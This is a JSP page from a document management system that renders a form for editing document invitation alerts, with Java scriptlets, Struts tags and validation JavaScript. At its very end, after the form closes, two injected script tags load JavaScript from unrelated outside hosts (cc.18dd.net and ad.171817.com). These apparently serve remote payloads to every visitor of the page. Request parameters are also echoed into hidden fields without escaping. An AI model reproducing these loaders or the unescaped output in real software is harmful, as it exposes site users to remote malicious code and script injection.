<%
/*
 * @(#)EditUpdateAlertOnInvitation.jsp
 *
 * Copyright (c) 2003 DCIVision Ltd
 * All rights reserved.
 *
 * This software is the confidential and proprietary information of DCIVision
 * Ltd ("Confidential Information").  You shall not disclose such Confidential
 * Information and shall use it only in accordance with the terms of the license
 * agreement you entered into with DCIVision Ltd.
 */


/**
  EditUpdateAlertOnInvitation.jsp

  This class is reflecting business logic uses.

    @author           Zoe Shum
    @company          DCIVision Limited
    @creation date    20/02/2004
    @version          $Revision: 1.18.2.4 $
*/
%>

<%@ taglib uri="/tags/struts-html" prefix="html" %>
<%@ taglib uri="/tags/struts-bean" prefix="bean" %>
<%@ taglib uri="/tags/struts-logic" prefix="logic" %>
<%@ taglib uri="/tags/layout" prefix="layout" %>
<%@ taglib uri="/tags/dms" prefix="dms" %>
<%@ page import="java.sql.Connection" %>
<%@ page import="java.util.*" %>
<%@ page import="com.dcivision.framework.* "%>
<%@ page import="com.dcivision.alert.* "%>
<%@ page import="com.dcivision.alert.bean.* "%>
<%@ page import="com.dcivision.alert.core.* "%>
<%@ page import="com.dcivision.alert.dao.* "%>
<%@ page import="org.apache.commons.logging.LogFactory"%>
<jsp:useBean id="sessionContainer" scope="session" class="com.dcivision.framework.SessionContainer"/>
<jsp:useBean id="maintUpdateAlertForm" scope="request" class="com.dcivision.alert.web.MaintUpdateAlertForm"/>

<html:form action="/MaintUpdateAlert">

<%/****************************************************************************
   * Edit Selection Attributes Configuration Begin
   ****************************************************************************/
   UpdateAlert updateAlert = null;
   String ACTION_MODE = (String) request.getAttribute(GlobalConstant.ACTION_MODE);

   String alertType = UpdateAlert.INVITE_TYPE;
   String objectType = request.getParameter("objectType");
   String objectID = request.getParameter("objectID");

   String updateAlertID = request.getParameter("updateAlertID");
   String updateAlertTypeID = request.getParameter("updateAlertTypeID");
   String updateAlertSystemLogID = request.getParameter("updateAlertSystemLogID");
   Integer inviteTypeID = null;
   String dbDateTimeFormat = SystemParameterFactory.getSystemParameter(SystemParameterConstant.DB_DATETIME_FORMAT);
   String textOnly ="";
  /****************************************************************************
   * Edit Selection Attributes Configuration End
   ****************************************************************************/
  String[] disabledNameValue = null;
  boolean supportEmail=SystemParameterFactory.getSystemParameterBoolean(SystemParameterConstant.SUPPORT_EMAIL);
  if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE)){
    List typeList = new ArrayList();
    Connection conn = (Connection)request.getAttribute(GlobalConstant.DB_KEY);
    UpdateAlertDAObject updateAlertDAO = new UpdateAlertDAObject(sessionContainer, conn);
    UpdateAlertTypeDAObject updateAlertTypeDAO = new UpdateAlertTypeDAObject(sessionContainer, conn);

    AlertManager alertManager = new AlertManager(sessionContainer, conn);


    if (UpdateAlert.INVITE_TYPE.equals(alertType)){
      updateAlert=(UpdateAlert)updateAlertDAO.getByObjectTypeObjectIDCreatorID(GlobalConstant.OBJECT_TYPE_DOCUMENT, TextUtility.parseIntegerObj(objectID), sessionContainer.getUserRecordID(), UpdateAlert.INVITE_TYPE);
    }else{
      updateAlert=(UpdateAlert)updateAlertDAO.getByObjectTypeObjectIDCreatorID(GlobalConstant.OBJECT_TYPE_DOCUMENT, TextUtility.parseIntegerObj(objectID), sessionContainer.getUserRecordID());
    }
    if (updateAlert!=null) {

      updateAlertID=TextUtility.formatIntegerObj(updateAlert.getID());
      if (UpdateAlert.INVITE_TYPE.equals(alertType)){
        typeList = updateAlertTypeDAO.getByUpdateAlertIDByOwnerID(updateAlert.getID(), UpdateAlert.INVITE_TYPE, sessionContainer.getUserRecordID());
      }else{
        typeList = updateAlertTypeDAO.getByUpdateAlertIDByOwnerID(updateAlert.getID(), sessionContainer.getUserRecordID());
      }
      // set action type
      if (!Utility.isEmpty(typeList)){
        String[] actions = new String[typeList.size()];
        for (int i=0; i<typeList.size(); ++i) {
          UpdateAlertType updateAlertType = (UpdateAlertType)typeList.get(i);
          actions[i]=updateAlertType.getActionType();
          if (i==0){
            updateAlert.setDueDate(updateAlertType.getDueDate());
            updateAlert.setMessage(updateAlertType.getMessage());
            inviteTypeID = updateAlertType.getID();
          }
        }
        maintUpdateAlertForm.setActionType(actions);
      }

      // set notify way
      if (typeList!=null && typeList.size()>0) {
        String[] asNotifyWays = TextUtility.splitString( ((UpdateAlertType)typeList.get(0)).getNotifyWay(), UpdateAlert.SEPARATOR );
        maintUpdateAlertForm.setNotifyWay(asNotifyWays);
      }
      maintUpdateAlertForm.setFormData(updateAlert);
      maintUpdateAlertForm.setMessage(updateAlert.getMessage());

      //set Invite related info
      if (UpdateAlert.INVITE_TYPE.equals(alertType)){
        List userRecipientList = (List) alertManager.getRecipientByUpdateAlertTypeID(inviteTypeID, UpdateAlert.USER_RECIPIENT);
        maintUpdateAlertForm.setUserList((String[])Utility.getStringArray(userRecipientList));
        List groupRecipientList = (List) alertManager.getRecipientByUpdateAlertTypeID(inviteTypeID, UpdateAlert.GROUP_RECIPIENT);
        maintUpdateAlertForm.setGroupList((String[])Utility.getStringArray(groupRecipientList));
        List roleRecipientList = (List) alertManager.getRecipientByUpdateAlertTypeID(inviteTypeID, UpdateAlert.ROLE_RECIPIENT);
        maintUpdateAlertForm.setRoleList((String[])Utility.getStringArray(roleRecipientList));


      }
    }

    //For display the disabled user list in over invitation
    disabledNameValue = (String[])alertManager.listCreatorIDByUpdateAlertIDByOwnerID(TextUtility.parseIntegerObj(updateAlertID), UpdateAlert.INVITE_TYPE, null);

}
%>
<script language="Javascript">
<!--
// ensure actionType and notifyWay is not empty
function custValidation() {
  var actionSelected = false;
  var waySelected = false;

  var userSelected = false;
  var groupSelected = false;
  var roleSelected = false;

  if (document.maintUpdateAlertForm.userList) {
    if (document.maintUpdateAlertForm.userList.length > 0) {
      for ( var i=0; i<document.maintUpdateAlertForm.userList.length; ++i ) {
        if ( document.maintUpdateAlertForm.userList[i].checked ) { userSelected = true; }
      }
    } else {
      if ( document.maintUpdateAlertForm.userList.checked ) { userSelected = true; }
    }
  }

  if (document.maintUpdateAlertForm.groupList) {
    if (document.maintUpdateAlertForm.groupList.length > 0) {
      for ( var i=0; i<document.maintUpdateAlertForm.groupList.length; ++i ) {
        if ( document.maintUpdateAlertForm.groupList[i].checked ) { groupSelected = true; }
      }
    } else {
      if ( document.maintUpdateAlertForm.groupList.checked ) { groupSelected = true; }
    }
  }

  if (document.maintUpdateAlertForm.roleList) {
    if (document.maintUpdateAlertForm.roleList.length > 0) {
      for ( var i=0; i<document.maintUpdateAlertForm.roleList.length; ++i ) {
        if ( document.maintUpdateAlertForm.roleList[i].checked ) { roleSelected = true; }
      }
    } else {
      if ( document.maintUpdateAlertForm.roleList.checked ) { roleSelected = true; }
    }
  }
  <%if (UpdateAlert.INVITE_TYPE.equals(alertType)) {%>
    actionSelected = true;
  <%} else {%>
  for ( var i=0; i<document.maintUpdateAlertForm.actionType.length; ++i ) {
    if ( document.maintUpdateAlertForm.actionType[i].checked ) { actionSelected = true; }
  }
  if ( (actionSelected !=true) && (document.maintUpdateAlertForm.actionType.checked) ){
    actionSelected = true;
  }
  <%}%>
  if(document.maintUpdateAlertForm.notifyWay.checked){
    waySelected = true;
  }else{
    for ( var i=0; i<document.maintUpdateAlertForm.notifyWay.length; ++i ) {
      if ( document.maintUpdateAlertForm.notifyWay[i].checked ) { waySelected = true; }
    }
  }
  if ( !actionSelected ) {
    alert('<bean:message key='errors.required' arg0='<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "dms.label.notification_when")%>' />');
    return false;
  }
  if ( !waySelected ) {
    alert('<bean:message key='errors.required' arg0='<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "dms.label.notification_type")%>' />');
    return false;
  }

  <%if (!UpdateAlert.ALERT_TYPE.equals(alertType)){%>
  if ( !userSelected && !groupSelected && !roleSelected) {
    alert('<bean:message key='errors.required' arg0='<%=MessageResourcesFactory.getMessage(sessionContainer.getSessionLocale(), "dms.label.notification_recipient")%>' />');
    return false;
  }
  <%}%>

  if(compareDate(document.maintUpdateAlertForm.currentDate, document.maintUpdateAlertForm.dueDate, true) > -1){
    alert('<bean:message key='dms.label.notification_invalid_due_date'/>');
    return false;
  }

  if ( actionSelected && waySelected ) {
    return true;
  } else {
    return false;
  }
}

function OpCustInsert() {
  if (!custValidation()) {
    return (false);
  }
  document.maintUpdateAlertForm.opMode.value = "<%=GlobalConstant.OP_MODE_INSERT%>";
  document.maintUpdateAlertForm.navMode.value = "<%=AlertOperationConstant.LIST_ALERT_SUMMARY%>";
  document.maintUpdateAlertForm.submit();
  return(false);
}

function OpCustUpdate() {
  if (!custValidation()) {
    return (false);
  }
  document.maintUpdateAlertForm.opMode.value = "<%=GlobalConstant.OP_MODE_UPDATE%>";
  document.maintUpdateAlertForm.navMode.value =  "<%=AlertOperationConstant.LIST_ALERT_SUMMARY%>";
  document.maintUpdateAlertForm.submit();
  return(false);
}

function CustomOpDelete(){
  OpCustDelete();
  return false;
}
function OpCustDelete() {
  if (!confirm("<bean:message key='common.message.confirm_delete_record'/>")) {
    return(false);
  }

  if (confirm("<bean:message key='dms.label.confirm_clear_logs'/>")) {
    document.maintUpdateAlertForm.clearLogs.value=true;
  }else{
    document.maintUpdateAlertForm.clearLogs.value=false;
  }

  document.maintUpdateAlertForm.opMode.value = OP_MODE_DELETE;
  document.maintUpdateAlertForm.navMode.value =  "<%=AlertOperationConstant.LIST_ALERT_SUMMARY%>";
  document.maintUpdateAlertForm.submit();
  return(false);
}

function INIT(){

 <%if (!(!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE) && updateAlert==null)) {
  textOnly="'true'" ;
 %>
  for(var i =0;i< document.maintUpdateAlertForm.notifyWay.length;i++){
    document.maintUpdateAlertForm.notifyWay[i].disabled='true';
  }

  document.maintUpdateAlertForm.dummy_dueDate.disabled='true';

  document.maintUpdateAlertForm.message.disabled='true';

  if(document.maintUpdateAlertForm.userList!=null){
    if(document.maintUpdateAlertForm.userList.value==null){
      for(var j=0;j<document.maintUpdateAlertForm.userList.length;j++){
        document.maintUpdateAlertForm.userList[j].disabled='true';
      }
    }else{
      document.maintUpdateAlertForm.userList.disabled='true';
    }
  }

  if(document.maintUpdateAlertForm.groupList!=null){
    if(document.maintUpdateAlertForm.groupList.value==null){
      for(var k=0;k<document.maintUpdateAlertForm.groupList.length;k++){
        document.maintUpdateAlertForm.groupList[k].disabled='true';
      }
    }else{
      document.maintUpdateAlertForm.groupList.disabled='true';
    }
  }

  if(document.maintUpdateAlertForm.roleList!=null){
     if(document.maintUpdateAlertForm.roleList.value==null){
      for(var l=0;l<document.maintUpdateAlertForm.roleList.length;l++){
        document.maintUpdateAlertForm.roleList[l].disabled='true';
      }
     }else{
       document.maintUpdateAlertForm.roleList.disabled='true';
     }
  }


 <%}else{%>
    for(var m =0;m< document.maintUpdateAlertForm.notifyWay.length;m++){
      document.maintUpdateAlertForm.notifyWay[m].checked='true';
  }


 <%}%>

}
window.onbeforeunload = function(event){
 try{
   window.opener.hideDim();//tc add for hidden the dim
 }catch(e){
 }
}
-->
</script>
<html:hidden property='opMode'/>
<html:hidden property='navMode'/>
<html:hidden property='ID' value='<%=updateAlertID%>'/>
<html:hidden property='objectID' value='<%=objectID%>'/>
<html:hidden property='objectType' value='<%=objectType%>'/>
<html:hidden property='objectName'/>
<html:hidden property='recordStatus'/>
<html:hidden property='updateCount'/>
<html:hidden property='creatorID'/>
<html:hidden property='createDate'/>
<html:hidden property='updaterID'/>
<html:hidden property='updateDate'/>
<input type="hidden" name='updateAlertTypeID' value='<%=updateAlertTypeID%>'>
<html:hidden property='alertType' value='<%=alertType%>'/>
<input type='hidden' name='currentDate' value='<%=TextUtility.formatDate(new Date(),dbDateTimeFormat)%>'>
<%try{%>
<table cellpadding="1" cellspacing="0" border="0" width="780" bgcolor="#CCCCCC"><tr><td>
<!-- ######################################### Content Begin ######################################### -->

<!-- Update Alert Detail Table Showing Record List Begin -->
<table cellpadding="0" cellspacing="0" border="0" width="780"><tr><td>
<table width="780" cellpadding="0" cellspacing="2" border="0" align="left">
  <!--
  <tr>
    <td class="<layout:classLabel mandatory='true'/>" width="20%"><bean:message key='dms.label.notification_when'/>:&nbsp;</td>
    <td class="dataField" width="80%">
      <bean:message key='dms.label.notification_invite'/> <html:checkbox property="actionType" value="<%=UpdateAlert.INVITE_ACTION%>" />
    </td>
  </tr>
  -->
  <html:hidden property="actionType" value="<%=UpdateAlert.INVITE_ACTION%>" />
  <%if (!(!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE) && updateAlert==null)) { %>
    <tr>
     <td  class="bodyVerySmall" colspan='2' align='right'><bean:message key='alert.label.data_already_saved'/></td>
    </tr>
  <%}%>

  <tr>
    <td class="<layout:classLabel mandatory='true'/>" width="20%"><bean:message key='dms.label.notification_type'/>:&nbsp;</td>
    <td class="dataField" width="80%">
  <%if(supportEmail){%>
      <bean:message key='dms.label.notification_email'/> <html:checkbox property="notifyWay" value="<%=UpdateAlert.EMAIL_NOTIFICATION%>" /> &nbsp;
  <%}%>
      <bean:message key='dms.label.notification_system'/> <html:checkbox property="notifyWay" value="<%=UpdateAlert.SYSTEM_NOTIFICATION%>" />
    </td>
  </tr>
  <tr>
    <td class="<layout:classLabel/>" width="20%"><bean:message key='dms.label.notification_due_date'/>:&nbsp;</td>
    <td class="dataField" width="80%">
      <%if (!(!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE) && updateAlert==null)) { %>
      <html:datepicker property="dueDate" textOnly='true' />
      <%}else{%>
        <html:datepicker property="dueDate" />

      <%}%>
    </td>
  </tr>
  <%
  if ((GlobalConstant.NAV_MODE_EDIT.equals(ACTION_MODE)) || (GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE) && "YES".equals(request.getSession().getAttribute("showClearLogsFlag")))) {%>
  <% request.getSession().setAttribute("showClearLogsFlag", "YES");  %>

  <tr>
    <td class="<layout:classLabel/>" width="20%"><bean:message key='dms.label.clearLogs'/>:&nbsp;</td>
    <td class="dataField" width="80%">
      <html:radio property="clearLogs" value="true"><bean:message key='common.label.yes'/></html:radio>
      <html:radio property="clearLogs" value="false"><bean:message key='common.label.no'/></html:radio>
    </td>
  </tr>
  <%}else{%>
  <html:hidden property="clearLogs"/>
  <% request.getSession().setAttribute("showClearLogsFlag", null);%>
  <%}%>
  <%if (UpdateAlert.INVITE_TYPE.equals(alertType)) {%>
  <tr>
    <td class="<layout:classLabel/>" width="20%"><bean:message key='dms.label.notification_message'/>:&nbsp;</td>
    <td class="dataField" width="80%">
      <html:textarea property="message" cols="40" rows="5"/>
    </td>
  </tr>
  <tr>
    <td class='<layout:classLabel/>' width='20%' valign='top'><bean:message key='dms.label.notification_recipient'/>:&nbsp;</td>
    <td class='dataField' width='80%'>
    <table>
      <tr>
        <td class="bodySmallBold"><bean:message key='dms.label.notification_recipient_user'/></td>
        <td class="bodySmallBold"><bean:message key='dms.label.notification_recipient_group'/></td>
        <td class="bodySmallBold"><bean:message key='dms.label.notification_recipient_role'/></td>
      </tr>
      <tr>
        <td width="200">
          <html:checkboxOptions dbListName='userRecordList' name='userList' nameValue='<%=maintUpdateAlertForm.getUserList()%>' disabledNameValue='<%=disabledNameValue%>' hasSelect='false' width='200'  />
        </td>
        <td width="200">
          <html:checkboxOptions dbListName='userPublicGroupList' name='groupList' nameValue='<%=maintUpdateAlertForm.getGroupList()%>' hasSelect='false' width='200'/>
        </td>
        <td width="200">
          <html:checkboxOptions dbListName='userRoleList' name='roleList' nameValue='<%=maintUpdateAlertForm.getRoleList()%>' hasSelect='false' width='200'/>
        </td>
      </tr>
    </table>
    </td>
  </tr>
  <%}%>
  <tr>
    <td colspan="2" align="center"><html:img src="LayoutSpacer.gif" width="1" height="10"/></td>
  </tr>
  <tr>
    <td colspan="2" align="center">
    <!-- The Buttons for Actions Handling -->
    <%if (!GlobalConstant.NAV_MODE_VIEW.equals(ACTION_MODE) && updateAlert==null) {%>
      <html:standardButton label="common.label.save" onClick="return OpCustInsert();"/>
    <%}%>

    <%if (updateAlert!=null) {%>
      <html:standardButton label="common.label.delete" onClick="return CustomOpDelete();"/>
    <%}%>
    </td>
  </tr>

</table>

</td></tr></table>
<!-- Table Showing Record List End -->
<!-- ######################################### Content End   ######################################### -->
</td></tr></table>

<%}catch(Exception e){
  LogFactory.getLog(this.getClass()).error(e, e);
  }
%>
</html:form>

<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>